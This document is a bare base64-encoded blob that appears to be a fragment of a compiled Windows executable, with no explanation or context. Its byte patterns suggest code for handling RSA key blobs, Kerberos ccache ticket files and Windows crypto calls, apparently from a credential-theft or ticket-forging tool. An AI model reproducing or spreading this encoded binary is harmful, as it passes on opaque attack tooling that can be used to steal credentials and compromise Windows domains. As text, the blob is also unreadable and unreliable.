0GD+QR18TPAQOsCM8CF23QZhf90BIXS6xOF0nQV90YIAAAAgHUMi8brEIX/dASFwHX0izY79XWWM8BfXl1bw1aL8TPAhfZ0NoXSdDL3RggAAACAdSn2RggCUFFqAFmNRkQPRcj2RggBUWoAjUYgWQ9FyFGLThzoPAEAAIPEEF7DUVOL2VVWV4trHDP2jU0CZotFAIPFAmY7xnX0i0MIK+m5AAAAgNH9hcF1FIXSdBCL8o17DAvBpaWlpYlDCDP2g3wkIAB0G4tMJCCNUQJmiwGDwQJmO8Z19SvK0fmNPAnrBIt8JCD2QwgBiXwkEHVgi3QkGIX2dSA5dCQgdFKLVCQgjXMgahBWV7kCgAAA6NVs//+DxAzrDo17IKWlpaWLfCQQjXMgahSNQzCL1lCNBG0CAAAAuQSAAABQ/3McahDo2W///4PEFIXAdASDSwgB9kMIAnVZi3QkHIX2dSA5dCQgdEuLVCQgjXNEahRWV7kEgAAA6G9s//+DxAzrC2oFjXtEWfOljXNEahSNQ1iL1lCNBG0CAAAAuQSAAABQ/3McahTodm///4PEFINLCAJfXjPAXUBbWcNTVVZXi/kz24vqhf90X+jv/f//i/CF9nU4aJAAAABqQP8VkLIDEIvwhfZ0TFfosWoBAIlGHKH0CAYQiUYExwbwCAYQofQIBhBZiTCJNfQIBhD/dCQgi9WLzv90JBz/dCQc6GP+//+DxAyL2OsLaGDDBBDoN67//1lfXl2Lw1vDVovxhfYPhLwAAACDfhwAdA//dhxowMMEEOgRrv//WVlXv0TDBBBX6AOu///3RggAAACAWXQTaDjDBBDo763//1mNTgzomN///1fo4K3///ZGCAFZdBlo0MMEEOjPrf//agBqEI1OIFroKN7//1lZV+i6rf//9kYIAll0GWjcwwQQ6Kmt//9qAGoUjU5EWugC3v//WVlX6JSt///2RggEWV90GWjowwQQ6IKt//9qAGoQjU5sWujb3f//WVlodFUEEOhprf//WV7DixXoCAYQVleL8b/oCAYQ6xczyYsEjjtEigh1CkGD+QR18YvC6wiLEjvXdeUzwF9ew1FTVVZXi/GLwjP/iUQkEIX2dHiFwHR0i2wkGIXtdGzoq////4XAdW5qJGpA/xWQsgMQi9iF23Rei0QkHI17CKVVakClpaWJQxj/FZCyAxCJQyCFwHQWVf90JBRQ6P21AgAz/4lrHIPEDEfrAjP/oewIBhCJQwTHA+gIBhCh7AgGEIkYiR3sCAYQ6wto+MMEEOigrP//WYvHX15dW1nDVovxhfZ0MWg4wwQQ6Ias//+NTgjoMN7//4N+GAC5bMQEELhkxAQQD0TBUGh8xAQQ6GKs//+DxAxew1NVVos18AgGEL3wCAYQV4s9mLIDEDv1dCeLRgSLHokYiw6LRgSJQQSDfhwAdAn/dhzovWgBAFlW/9eL8zvdddmLFeAIBhC74AgGEDvTdBiLQgSLMlKJMIsKi0IEiUEE/9eL1jvzdeiLNegIBhC96AgGEDv1dCOLRgSLHokYiw6LRgSJQQSDfiAAdAX/diD/11b/14vzO9113V9eXTPAW8NWV2iQxAQQ6LGr//+LNfAIBhC/8AgGEFnrCYvO6G39//+LNjv3dfNo4MQEEOiMq///izXgCAYQv+AIBhBZ6wmLzuh++v//izY793XzaCjFBBDoZ6v//4s16AgGEL/oCAYQWesJi87ou/7//4s2O/d1818zwF7DVYvsUVNXM/+L2oXJdHBWUehnZwEAi/BZhfZ0YWpcVugAKQEAWVmFwHRMM8lqXFZmiQjo7SgBAFlZhcB0OY1N/IPAAlFQ/xXAsAMQhcB0J1P/dfz/FaiwAxCL+IX/dA7/M2hwxQQQ6Nyq//9ZWf91/P8VmLIDEFboYWcBAFlei8dfW4vlXcNVi+yLVQyNRfyLTQiD7BBXM/9XUGiUtQQQ6Ibd//+DxAyFwA+EjQAAAItN/I1F9FCNVfjorZL//1mFwHRlU4td+DPJVo1TDOgIev//i1MEjUXwaLjFBBBQjUX8UFdX/3UMjUsM/3UIV+j78///iz2YsgMQg8QghcB0IYtN/OjTWv//i/CF9nQOi9boBlz//4vO6Klb////dfz/11P/115b6x//FayyAxBQaOjFBBDoDqr//1nrCmhgxgQQ6AGq//9ZM8Bfi+Vdw1WL7IPk+ItVDI1EJLiLTQiD7GRTVldqAFBojLQEEOi53P//g8QMhcAPhFcDAACLTCQojUQkOFCNVCQw6N2R//9ZhcAPhCgDAACLTCQs6IFh//+LNZiyAxCL+Il8JCSF/w+EAwMAAIvX6GBj//+LVQyNRCQgi00IagBQaNzGBBDoWNz//4PEDIXAD4TTAgAAi0wkII1EJDhQjVQkLOh8kf//WYXAD4SlAgAAi0wkKOjoXv//i9iJXCQ4hdsPhIYCAACL0+hbX///i0ssjUQkPGjsxgQQUI1EJCiLUSCLSSRQM8BQUP91DP91CFDosPL//4PEIIXAD4QlAgAAi0wkII1EJFBQjUQkRFDoImD//1lZhcAPhAICAABoIMcEEOjXqP//WWoAahBajUwkROgu2f//xwQkdFUEEOi8qP//xwQkQMcEEOiwqP//WWoAaiBajUwkVOgH2f//xwQkrHUEEOiVqP//WWgAAADwahhqAGoAjUQkLFD/FTywAxCFwA+ElwEAADPJiUwkGDlPNA+GfAEAAIvfi0M4izyIhf8PhFoBAAD/N2hgxwQQ6Euo//+DfxQAWVkPhDMBAACLRxCJRCQQhcAPhCQBAABQakD/FZCyAxCJRCQMhcAPhA8BAAD/dCQQ/3cUUOg3sQIAi1QkKI1EJECDxAyLz1CNRCQ0UI1EJFhQjUQkTFDojAEAAIPEEIXAD4TPAAAAjUQkEFD/dCQQagBqAWoA/3QkRP8VLLADEIXAD4SbAAAAg3wkNAB0FItUJBCLTCQMagDoENj//+mSAAAAaHRVBBDom6f//4M/AFl0GoM/ZHQVi1QkEItMJAxoAQAQAOjk1///WetKi0wkDOgzY///i/iF/3Q7i9fopWP//4N/DAB0KzPJiUwkFDlPBHYbi0cMiwSIhcB0B1D/1otMJBRBiUwkFDtPBHLl/3cM/9ZX/9ZodFUEEOgnp///6xL/FayyAxBQaIjHBBDoFKf//1lZ/3QkDP/WaHRVBBDoAqf//1mLTCQYQYlMJBg7SzQPgor+//+LXCQ4agD/dCQg/xUAsAMQ/3QkIP/Wg3sYAHQF/3MY/9aLeyyF/3QOg38kAHQF/3ck/9ZX/9ZT/9aLfCQk/3QkKP/W6xP/FayyAxBQaPDHBBDomab//1lZi8/o81////90JCz/1usf/xWssgMQUGh4yAQQ6Hem//9Z6wpoAMkEEOhqpv//WV9eM8Bbi+Vdw1FTVVaL8TPAQFeL+olEJBCDPgB0CYM+ZHMEi8jrAjPJi0QkJIkIhcl0DYtEJBi6DmYAAGoQ6wuLRCQcuhBmAABqIItcJCRZagBTagBRUIvP6F9k//+L6IPEFIXtdCqLPRSwAxCNRCQQagBQagT/M//Xg34YAHQRg34cAHQLagD/dhxqAf8z/9dfXovFXVtZw4tUJAiNRCTwi0wkBIPsEFUz7VVQaJS1BBDoldj//4PEDIXAD4RWAQAAi0wkBI1EJBBQjVQkEOi5jf//WYXAD4QnAQAAi0wkDFZX6JOR//+LNZiyAxCL+IX/D4QCAQAAi9foV5L//4tXJI1EJBCLTzhogMkEEFCNRCQUUGoRaLTJBBD/dCQ4/3QkOFXo5+7//4PEIIXAdCGLVCQQi0wkDFXokdX//8cEJHRVBBDoH6X//1n/dCQM/9aLVxiNRCQQi080aMjJBBBQjUQkFFBVVf90JDj/dCQ4Veia7v//g8QghcB0dotUJBBTi1wkEIvLVehB1f//xwQkdFUEEOjPpP//gTtSU0EyWXUTjUQkHIvLUI1UJBTo35L//1nrAovFhcB0M4tPKOjg0///i+iF7XQfi1QkHFFqAVVRi0wkIGj8yQQQagDoEUYAAIPEGFX/1v90JBD/1lP/1luLz+gRkf///3QkFP/WX17rH/8VrLIDEFBoCMoEEOhUpP//WesKaIjKBBDoR6T//1kzwF2DxBDDVYvsi1UMjUXwi00Ig+wUUzPbU1BolLUEEOgE1///g8QMhcAPhEsBAACLTfCNRfRQjVXs6CuM//9ZhcAPhB8BAACLTexWV+j/kv//iz2YsgMQi/CF9g+E/AAAAIvW6MuT//+LVhSNRfiLTjhoKMsEEFCNRfxQahFoaMsEEP91DP91CFPoXu3//4PEIIXAdDeLVfiNRfSLTfxQjUXwUOiilf//WVmFwHQZ/3X0i1XwM8no8Jb//4tV9FmLTfDolJb///91/P/Xi1YYjUX4i048aMjJBBBQjUX8UGoRaHzLBBD/dQz/dQhT6Prs//+DxCCFwHRdi1X4i038U+im0///xwQkdFUEEOg0o///i0YIWYPAAlBqQP8VkLIDEIvYhdt0Kv92CP92LFPoO6wCAItV+FlZagFTUYtN/Gj8yQQQagHohUQAAIPEGFP/1/91/P/Xi87ojpL///917P/XX17rH/8VrLIDEFBokMsEEOjOov//WesKaBDMBBDowaL//1kzwFuL5V3Di1QkCI1EJBBQUf90JBSLTCQQ6Hui//+DxAzDaFAoBhD/FeyzAxCLyIXJeCRoWCgGEGj4CAYQ/zVQKAYQ/xXgswMQi8gzwIXJD5nAo1QoBhCLwcP/NVAoBhD/FdSzAxDDVos1UCgGELgoABnAhfZ0JIM9VCgGEAB0G/90JBD/dCQQ/3QkEFJR/zVYKAYQVv8V3LMDEF7DVYvsg+T4uFwCAgDoHKoCAFNWVzP/iXwkFDl9CA+OWgEAAIt1DP82/xWIsgMQg/j/D4QeAQAAqBAPhBYBAAD/NldosM4EEOjYof///zaNhCR4AgAAaP//AABQ6HPxAQCDxBiFwA+FAQEAAGjwzgQQjYQkbAIAAGj//wAAUOi18QEAg8QMhcAPhd8AAACNRCQYUI2EJGwCAABQ/xUwswMQi9iJXCQQg/v/D4S9AAAAM9uL+PZEJBgQdXb/No2EJGwCAABo//8AAFDoBfEBAIPEDIXAdVtoBM8EEI2EJGwCAABo//8AAFDoS/EBAIPEDIXAdT2NRCREUI2EJGwCAABo//8AAFDoLfEBAIPEDIXAdR+NRCREUFNoCM8EEOgDof//g8QMjYwkaAIAAOhWAAAAjUQkGENQV/8VNLMDEIXAD4Vu/////3QkEP8VjLIDEIt8JBTrF/82V2g0zwQQ6MKg//+LDoPEDOgaAAAAR4PGBIl8JBQ7fQgPjKn+//9fXjPAW4vlXcNVi+xRUY1F+FCNVfzosYj//1mFwHQzi1X4i0386D8AAACFwHgMaFzPBBDob6D//+sMUGhozwQQ6GKg//9ZWf91/P8VmLIDEOsT/xWssgMQUGjozwQQ6ESg//9ZWYvlXcOD7BBTVVaL2olMJAxXvqAAAMCNayRVakD/FZCyAxCL+IX/dGNT/3QkFI1HJMcHFQAAAFCJXxzHRyAkAAAA6CWpAgCNRCQgi9VQjUQkKIvPUI1EJDBQ6Iv9//+L8IPEGIX2eBCLdCQUhfZ5FVZoaNAEEOsGVmg40QQQ6MCf//9ZWVf/FZiyAxBfi8ZeXVuDxBDDVYvsg+woM8DHRdgGAAAAiUXkM8mJReyNRfxQjUX4iU3cUI1F9IlN4FCJTeiJTfCNTdhqHFroGv3//4PEDIXAeByDffwAfAxo+NEEEOhcn///6xb/dfxoUNIEEOsGUGgo0wQQ6EWf//9ZWTPAi+Vdw1WNbCSQgeyYAAAAVjP2x0VABAAAAFczwIl1RGpkiUVMjUXcVlCJdUiJdVCJdVSJdViJdVyJdWCJdWTodyQBAI1FaFCNRdhQjUVsUGooWo1NQOiO/P//aOjTBBCL+Ojbnv//g8Qchf8PiOcAAACLRWiFwA+IwQAAAItNbDPSUUKLAYlF3ItBBIlF6ItBCIlF9ItBDIlF4ItBEIlF5ItBFIlF7ItBGIlF8ItBHIlF+ItBIIlF/ItBMIlFLItBJIlFMIlFIItBKIlFJItBLIlFKItBQIlFCItBRIlFDItBSIlFEItBTIlFFItBUIlFGItBVIlFHItBYIlFOItBZI1N3IlFPOiBIQAAi1UoWYvOO00kcw0zwDgEEQ+UwEEL8HTuhfZ0C2gw1AQQ6BCe//9Z/3Vs/xXoswMQ6yg9DgMJgHUMaMjUBBDo853//+sUUGjo1AQQ6wZXaLjVBBDo3p3//1lZXzPAXo1lcF3Dg+wgi1QkKItMJCRTVjP2x0QkHA4AAABWVmhw1gQQiXQkLIl0JDDoi9D//4vYjUwkKI1EJBiJXCQkUI1EJCBQjUQkHFBqDFroLvv//4PEGIXAD4gEAgAAOXQkDA+M7wEAAItUJAg5cgQPhtkBAABVV4v+i0wXQOiEIgAAUP90F0BWaIDWBBDoSJ3//2is1gQQ6D6d//+LTCQkg8EoA8/ovs7//2jg1gQQ6Cad//+LTCQog8EwA8/ops7//2jg1gQQ6A6d//+LTCQsg8E4A8/ojs7//4tMJCyNQSADx1CNQRgDx1Bo6NYEEOjmnP//i0wkOI1BEAPHUI1BCAPHUGgw1wQQ6Myc//+LRCRE/3QHRGh01wQQ6Lqc//+LTCRMg8Q8i0wPROj7IAAAhdsPhPgAAACLRCQQD7dEBxqDwChQakCJRCQg/xWQsgMQi9iF2w+E0QAAAMcDCAAAAMdDGAgAAACLTCQQi0wPRIlLFItMJBCLRA8YjUsoiUMMD7dDDlCJSxCLRCQU/3QHHFHobKUCAItUJCSNRCQgUI1EJCiLy1CNRCQwUOjQ+f//g8QYhcB4YIN8JBQAfE6LVCQQg8IIUQPXi87opwAAAIvoWYXtdCqLVCQci83/cmCLUmToEoP//1mFwHQNVWis1wQQ6OKb//9ZWVX/FZiyAxD/dCQc/xXoswMQ6xj/dCQUaOjXBBDrBlBoyNgEEOi3m///WVlT/xWYsgMQi1wkIGh0VQQQ6KCb//+LVCQURoPHQFk7cgQPgi3+//9fXVL/FeizAxDrGP90JAxokNkEEOsGUGho2gQQ6G2b//9ZWV4zwFuDxCDDU1ZXaAAgAABqQIv6i9n/FZCyAxCL8IX2dDtooNcEEI1PGFGNTxBRV/93PFNoLNsEEGgAEAAAVuhu+P//g8QkhcB+CYvO6M+D///rCVb/FZiyAxCL8F+Lxl5bw1WL7IPk+IHsnAAAAFNWVzPbi3UMagdZiJwkiAAAAI28JIkAAAAzwIlcJDDzq1NTaLTMBBBmq4vWx0QkXPQBAACJnCSAAAAAiVwkUKqLfQiLz4lcJEyJXCQciVwkOIlcJETohc3//4PEDIlEJHiNRCR8i9aLz2hc2wQQUGh42wQQ6GbN//+DxAyNRCRIi9aLz1NQaIjbBBDoT83//4PEDIXAdStTjUQkTIvWUGiU2wQQi8/oNM3//4PEDIXAdRBouOMEEOhAmv//WekHCAAAU41EJDiL1lBooNsEEIvP6AnN//+DxAyFwA+EpgcAAFONRCR0i9ZQaCy4BBCLz+jqzP//g8QMhcAPhIAHAACNhCSAAAAAUP90JHT/FcCwAxCFwA+EUgcAAFONRCQUi9ZQaLDbBBCLz+ixzP//g8QMhcB0DcdEJCADAAAA6ZIAAABTjUQkFIvWUGi42wQQi8/oicz//4PEDIXAdW9TjUQkFIvWUGjA2wQQi8/obsz//4PEDIXAdVRTjUQkFIvWUGjQ2wQQi8/oU8z//4PEDIXAdArHRCQgEQAAAOs3U41EJBSL1lBo4NsEEIvP6C7M//+DxAyFwHQKx0QkIBIAAADrEotEJDyJRCQg6wjHRCQgFwAAADlcJBAPhGgGAABTjUQkSIvWUGjw2wQQi8/o7cv//4PEDI1EJECL1ovPU1BoANwEEOjWy///g8QMjUQkGIvWi89TUGgQ3AQQ6L/L//+DxAyFwHQSU1P/dCQg6CHoAQCDxAyJRCRQU41EJByL1lBoGNwEEIvP6JLL//+DxAyFwHQSU1P/dCQg6PTnAQCDxAyJRCR0U41EJCyL1lBoJNwEEIvP6GXL//+DxAyFwA+E5QAAAItEJCiLyIlcJBSJRCQYiUwkJIXAD4TXAAAAZjkZdDBTU1Hop+cBAIPEDIXAdAT/RCQUaiz/dCQo6LgWAQBZWYvIhcl0CkGDwQGJTCQkdcuLRCQUhcAPhJYAAADB4ANQakD/FZCyAxCLyIlMJCyFyXRii0QkKIvLiUwkHGY5GHRPO0wkFHNJU1NQ6EDnAQCLyIPEDIXJdBiLRCQci1QkLMdEwgQHAAAAiQzCQIlEJByLRCQYaixQ6DoWAQBZWYXAdA6LTCQcQIPAAYlEJBh1rItMJCyLRCQUhcB0FoXJdBKJTCQc6xyLRCQ8i8uJRCQU6+bHRCQcAAkGEMdEJBQFAAAAU41EJCiL1lBoNNwEEIvP6EXK//+DxAyFwA+ELgEAAP90JCTog1MBAIlEJFhZhcAPhBgBAACJXCQwiUQkGGY5GHRPaixQ6KoVAQCJRCQwWVmFwHQFM8lmiQiNhCSEAAAAUP90JBz/FcCwAxCFwHQR/7QkhAAAAP9EJDT/FZiyAxCLRCQohcB0CYPAAolEJBh1rP90JFToclMBAItEJDRZhcAPhKYAAADB4ANQakD/FZCyAxCJRCQ4hcAPhI4AAAD/dCQk6ONSAQCJRCRAWYXAdHyLTCQ4i9OJVCQkiUQkGIlMJChmORh0WztUJDBzVWosUOj+FAEAiUQkXFlZhcB0BTPJZokI/3QkKP90JBz/FcCwAxCLVCQkhcB0F4tMJChCiVQkJMdBBAcAAACDwQiJTCQoi0QkVIXAdAmDwAKJRCQYdaD/dCQ86MBSAQBZjUQkTFD/dCQk/xUItAMQhcAPiEgDAACLRCRMjZQkiAAAAItMJBD/cAzok8X//1mFwA+EAwMAAGhA3AQQjUQkFIvWUGhE3AQQi8/ovcj//4PEDI1EJFhQ/xWEsgMQU1P/dCQY6OzkAQCDxAy5gJaYAPfpav9qxFJQ6PWbAgBTi1wkXIvwaICWmAD/dCRki/pT6P3DAgCLTQgD8ItEJFwT+ivei1UMG8eJXCRYiUQkXIlEJGSJRCRsjUQkEGhc3AQQUGhs3AQQiVwkbIlcJHToOcj//4PEDDPbU1P/dCQY6J3kAQCLTQi+AEbDI/fmg8QMAUQkYI1EJBARVCRk/3QkEItVDFBoeNwEEOj+x///g8QMU1P/dCQY6GTkAQCDxAz35v90JFABRCRs/3QkdBFUJHT/dCQ8/3QkVGiQ3AQQ6OaU//+DxBRoDN0EEOjZlP//i3QkGIt8JCBZhfZ0Fv8032go3QQQ6L+U//9DWVk73nLsM9uLdCQwhfZ0MWgw3QQQ6KSU//9ZhfZ0Iov7i0QkOIsM+Oh1xv//aODWBBDoh5T//0dZO/5y5It8JBxoTN0EEOhzlP//i1QkUFlTjYwkjAAAAItSDOjExP//WYtMJCDogBkAAFBoaN0EEOhJlP//g3wkTABZWXQQ/3QkRGh43QQQ6DKU//9ZWYN8JEAAdBD/dCRAaJjdBBDoG5T//1lZaLjdBBDoD5T//1mNTCRY6JPF//9o4NYEEOj7k///WY1MJGDof8X//2jg1gQQ6OeT//9ZjUwkaOhrxf//aHRVBBDo05P//4N8JHwAuNTdBBBZD0REJHxQaADeBBDouJP///90JHyLRCRYVv90JEiLVCRI/3QkKItMJGBX/3QkbP90JED/cAyNhCSwAAAAUP+0JKwAAACNhCSIAAAAUP90JHT/dCR86O4BAACL8IPEPIX2dGuLzug4Ov//g3wkeAB0JIvQi87oEfP//4XAeEf/dCQ0/3QkTGgo3gQQ6DmT//+DxAzrMItMJHyL1lDoSHr//1mFwHQMaLzeBBDoGZP//+sS/xWssgMQUGgA3wQQ6AaT//9ZWVb/FZiyAxDrWGiA3wQQ6PGS///rS4tEJEyLTCQgi1AM6AsYAABQUo0EElBo4N8EEOjPkv//g8QQ6ydQ/3QkJGiI4AQQ6LuS//+DxAzrE2h44QQQ6KyS//+LRCQ4iUQkIFn/tCSAAAAA/xWYsgMQi0QkHOsq/xWssgMQUGgw4gQQ6H+S//9Z6xFo2OIEEOsFaEjjBBDoa5L//4tEJDhZg3wkLAB0B1D/FZiyAxCLfCQ4hf90HYt0JDCF9nQV/zTf/xWYsgMQQzvecvJX/xWYsgMQX14zwFuL5V3DUVFWjUQkBFBR/xUItAMQi/CF9g+IigAAAI1EJAhQi0QkCGoC/3QkHP90JBz/UCCL8IX2eG5Ti1wkIDPSVYtsJAyLw1eLfCQwiR+LTQT38YXSdAYrygPLiQ+LRRABB/83akD/FZCyAxCLbCQsiUUAhcB0IVdQi0QkGFP/dCQw/3QkJP9QJIvwhfZ5Cf91AP8VmLIDEI1EJBRQi0QkFP9QLF9dW4vGXllZw4HsSAEAAFNVVldqZDPbiVQkFI1EJByL+VNQ6NsWAQCDxAyNhCSAAAAAaNgAAABTUOjFFgEAiy2QsgMQg8QMagxqQP/VizVYtAMQM8lBiUQkMIXAdBZmiUgCi0QkMFdmiQiLRCQ0g8AEUP/WahRqQP/ViUQkGGoCX4XAdEg5nCRcAQAAZol4AotEJBhmiTi4wNsEEA9FhCRcAQAAUItEJByDwARQ/9Y5nCRgAQAAi0QkEA9FhCRgAQAAUItEJByDwAxQ/9b/dCQQjUQkIFD/1otMJByLRCQgiUQkOIlEJCy4AABAAIlMJDSJTCQoM8k5jCRcAQAAD0XBDQAAoECJRCRoi4QkjAEAAMHgEIPIATmMJIwBAAAPRfiLhCRwAQAAUIl8JHSLvCR4AQAAakCJfCRkiXwkdIlEJGj/1YlEJGSFwHQL/3QkYFD/FQy0AxCLjCRkAQAAaCTkBBCLAYlEJEiLQQSJRCRMiwGJhCSEAAAAi0EEiYQkiAAAAItBCIlEJFCLQQyJRCRUi0EQiUQkWItBFIPJ/4lEJFy4////f4mEJJAAAACJhCSYAAAAiYQkoAAAAImEJKgAAACJhCSwAAAAjYQkFAEAAFCJjCSQAAAAiYwkmAAAAImMJKAAAACJjCSoAAAAiYwksAAAAP/Wi0wkMItBBImEJLAAAACLQQiLjCR8AQAAiYQktAAAAIuEJGgBAACJhCQYAQAAi4QkeAEAAImEJOQAAACLAYmEJOgAAACLhCSAAQAAiYQk7AAAAIuEJIgBAACJjCTwAAAAi4wkhAEAAMeEJCQBAAAQAgAAiYQkRAEAAImMJEgBAACFwHQMhcl0CIOMJPQAAAAgi8eD6AN0GoPoDnQQg+gBdAe/dv///+sOahDrAmoPX+sFv3v///+NRCQUi9dQjUQkFFCNjCSIAAAA6MIIAACLNZiyAxBZWYXAD4TPAAAAaEzkBBDoq47//4usJHQBAACLVCQYWYtMJBBV/7QkcAEAAFfoRQoAAIPEDIXAD4iWAAAAaHDkBBDoeI7//4tUJBRZ/3QkFI1MJBzoiRkAAIv4WYX/dHNokOQEEOhVjv//jUQkeIvPUI2EJIAAAABQ6Bo1//+LjCSAAQAAUFdV/7QkhAEAAOgB/P//g8QchcB4KGjI5AQQ6BqO//9ZM9KNTCQY6EsWAACL2IXbdBloAOUEEOj+jf//6wxQaDDlBBDo8Y3//1lZV//W/3QkEP/Wg3wkeAB0Bv90JHj/1oN8JGQAdAb/dCRk/9aDfCQwAHQG/3QkMP/Wg3wkGAB0Bv90JBj/1l9eXYvDW4HESAEAAMNRU1VWjUQkDIvpUFWL2v8VCLQDEIvwhfYPiIYAAACLTCQMV/9xDGpA/xWQsgMQi/iF/3Rvgz1QKgYQBldzCotMJBRT/1Ew6xD/dCQgi0QkGP90JCBT/1Awi/CF9ngxi83obBIAAFBotOUEEOg1jf//i1QkGIvPagCLUgzoi73//2h0VQQQ6BuN//+DxBDrDVZoyOUEEOgLjf//WVlX/xWYsgMQX4vGXl1bWcNVi+yD5PiD7EwPKAUQ1gUQM8BTVot1CDPbV4t9DIvOiUQkIIvXiUQkKI1EJAxTUGg0uwQQiVwkGIlcJByJXCQgiVwkMIlcJDjHRCQkABAAAA8RRCRU6IO///9TjUQkIIvXUGiU2wQQi87ob7///1ONRCQwi9dQaKDbBBCLzuhbv///U41EJESL11BoOOYEEIvO6Ee///+DxDCFwHQSU1P/dCQk6KnbAQCDxAyJRCQY/3QkDIs1WLQDEI1EJDxQ/9b/dCQQjUQkRFD/1v90JBSNRCQ0UP/WU41EJDRQUP8VPLQDEItEJECLPZCyAxCDwAIDRCQwZolEJCIPt8BQakD/14lEJCSFwA+EkQAAAIs1OLQDEI1EJDBQjUQkJFD/1o1EJEBQjUQkJFD/1otEJCCDwAIDRCQ4ZolEJCoPt8BQakD/14s9mLIDEIlEJCyFwHRHjUQkOFCNRCQsUP/WjUQkIFCNRCQsUP/Wi3QkGItMnEiNRCQgVlCD+QONRCQwjVQkQA9E0OjL/f//Q1lZg/sEctv/dCQs/9f/dCQk/9dfXjPAW4vlXcNVi+yD5PiD7CSLwlNWV4XJD4Q6AwAAjUwkHFGLCI1UJCToUXP//1mFwA+EDQMAAItcJCBmiwOK6IrMD7fBuQQFAABmO8EPhd0CAABmi0MCjVQkFIroiswPt8GNTCQMg8AEA8OJRCQMjUQkKFDopwMAAIN8JBgAWQ+EtgIAAItUJBSNRCQoULlg5gQQ6EEPAACLRCQgWQPDM8mJTCQQiUQkJDlEJAwPg3ICAACLXCQMUWh85gQQ6JmK//9ZWWpkakD/FZCyAxCL+IX/D4Q2AgAAjU8cUY1XGI1MJBDoOAMAAFmNdwSL11aNTCQQ6CgDAABZiw/oGhEAAI1XEIlHDIvO6By5//+LdCQMagJbZosGA/OK6IrMD7fBiUdEZosGA/OK6IrMD7fBiUdUZosGA/OK6IrMD7fBiUdIhcB0HVBqQP8VkLIDEIlHTIXAdA3/d0hWUOglkwIAg8QMi09IuoCWmAADzr4AgD7Vi0EED8j36gPGiUcsgdLesZ0BiVcwuoCWmACLQQgPyPfqA8aJRzSB0t6xnQGJVzi6gJaYAItBDA/I9+oDxolHPIHS3rGdAYlXQItBEYPBFQ/IiUwkDI1MJAyJR1DozwIAAI1MJAzoxgIAAIt0JAyLBoPGBA/IiUdciV9YhcB0HVBqQP8VkLIDEIlHYIXAdA3/d1xWUOh6kgIAg8QMA3dcjUcQagFQaChEBBCLHg/Lg8MEA96JXCQY/xVctAMQhMAPhcAAAAAz0lFCi8/oZQwAAIN9DABZdQqDfQgAD4S1AAAAM9KLz0LoPBEAAIvwhfYPhKEAAACLzujHL///g30IAIlEJBh0J2iQ5gQQ6NqI//+LVCQcWYvO6JDo//+FwHhcaFzPBBDowIj//1nrT1GLTCQUi9foHAIAAIlEJCBZhcB0Ov90JBiL1ovI6Ltv//9ZhcB0C/90JBxoyOYEEOsM/xWssgMQUGgA5wQQ6HqI//9ZWf90JBz/FZiyAxBW/xWYsgMQ6xFoKEQEEGiI5wQQ6FaI//9ZWYvP6KUOAACLTCQQQYlMJBA7XCQkD4KW/f//i1wkIItMJBTodg8AAOsLaLDnBBDoIYj//1lT/xWYsgMQ6x//FayyAxBQaDDoBBDoBoj//1nrCmi46AQQ6PmH//9ZX14zwFuL5V3Di1QkCItMJARqAGoB6Iv8//9ZWTPAw4tUJAiLTCQEagBqAGhw1gQQ6Ka6//+LVCQUi0wkEFBqAOhg/P//g8QUM8DDVYvsUVFTVovxM9tXi/qLDosBg8EED8hmiUX6ZolF+A+3wAPBiU38iQaLRfoDwGaJB4PAAmaJRwIPt8BQakD/FZCyAxCJRwSFwHQeU41F+FBX/xVAtAMQhcAPmcOF23UJ/3cE/xWYsgMQX16Lw1uL5V3DUYvBU4lEJARViwCL6lZXM/+LcASL3w/OiX0AhfZ0Wo0E9QQAAABQakD/FZCyAxCJRQCFwHRDi1wkEGaJcAKLRQCLE4sKD8lmiQiNQgiLVCQYi8uJA+g0////i9iF9nQZi1UAi0wkEIPCBI0U+ugc////I9hHO/5y519eXYvDW1nDVovxiwaLEIPABA/KhdLrD4sOi0ECD8iDwAYDwYPqAYkGde1ew1NVVleL+ovZi8/ofAsAAGgAIAAAakCL6P8VkLIDEIvwhfZ0Z2ig1wQQhe10KosHjUgMg8AEUVCLRxiDwARQ/3dQU2gs2wQQaAAQAABW6Irj//+DxCTrF/93UFNoROkEEGgAEAAAVuhx4///g8QYM8mFwA+fwYXJdAmLzujLbv//6wlW/xWYsgMQi/Bfi8ZeXVvDg+wkU1VWi+mLwjPJiUQkJFeJTCQUi/GJTCQYi/mJTCQQiUwkHI1MJCBRUP8VELQDEIvYiVwkLIXbD4hyAQAAjUQkGIvNUI1UJBjoTgUAAFmFwHQSi0wkGIvBi/GD4Ad0BSvwg8YIjUQkHIvNUI1UJBTohggAAFmFwHQSi0wkHIvBi/mD4Ad0BSv4g8cIi0QkIItABIPABIvIiUQkJIvog+EHdAUr6YPFCIN8JBQAD4TsAAAAg3wkEAAPhNcAAACLRCQ8jU0kjQxPA85RakCJCP8VkLIDEItMJDiL2IkZhdsPhKwAAACLRCQYxwMEAAAAg2MEAIlDDMdDCAEAAACDYxQAUP90JBjHQxBIAAAAi0MQA8NQ6BOOAgCLRCQog8QMiUMcM8DHQxgKAAAAA3MQE0MUiUMkiXMgjQQz/3Mc/3QkFFDo5I0CAItMJDAzwItUJDSDxAyJSyzHQygGAAAAA3sgE0MkiUM0i8eJezCJFAMzwIlLPMdDOAcAAAADazATQzSJQ0SLxYlrQIkUAzPbQ+sEi1wkLP90JBT/FZiyAxCDfCQQAHQK/3QkEP8VmLIDEF9eXYvDW4PEJMOD7BhTVTPAiVQkHFaJRCQUi9mNRCQMM+1Q/3QkLP8VELQDEIvwhfYPiPcAAAAzwIlEJBg5Aw+G6QAAAFeNewiDPwZ0BYM/B3Uvi0QkEItPCIPBBAPL/3AEiUwkJGoAUehdCQEAi0QkKIPEDIM/Bg+FuQAAAItsJCCLTCQYQIPHEIlEJBw7A3K3X4XtD4STAAAAhckPhIsAAACNRCQQUItEJBBqEf90JDj/dCQ4/1Aci/CF9nhvi0QkDFP/dCQk/3QkGP9QEItEJAxV/3QkFP9QFI1EJBBQi0QkEP9QGI1EJBBQi0QkEGoR/3QkOP90JDj/UByL8IX2eCuLRCQMVf9wBP90JBj/UBCLRCQUUItEJBD/dCQU/1AUjUQkEFCLRCQQ/1AYi8ZeXVuDxBjDi0wkIIlMJBjpQv///1FRU1VWV4v5iVQkEIl8JBQPtx+DwwyL84PmA3QHagRYK8YD2It0JCSLBgPDUGpA/xWQsgMQi+iF7XRxZosHi0wkEIs2VmaJAWaLRwKLfCQkZolBAotEJCCJQQT/N1Xo1IsCAItMJCBmi0ECZtHoD7fAmYkELolULgQPtwHR6IlELggPtwFQ/3EEjUYMA8VQ6KOLAgCDxBj/N/8VmLIDEItEJCSJLwEYM8BA6wIzwF9eXVtZWcNRUV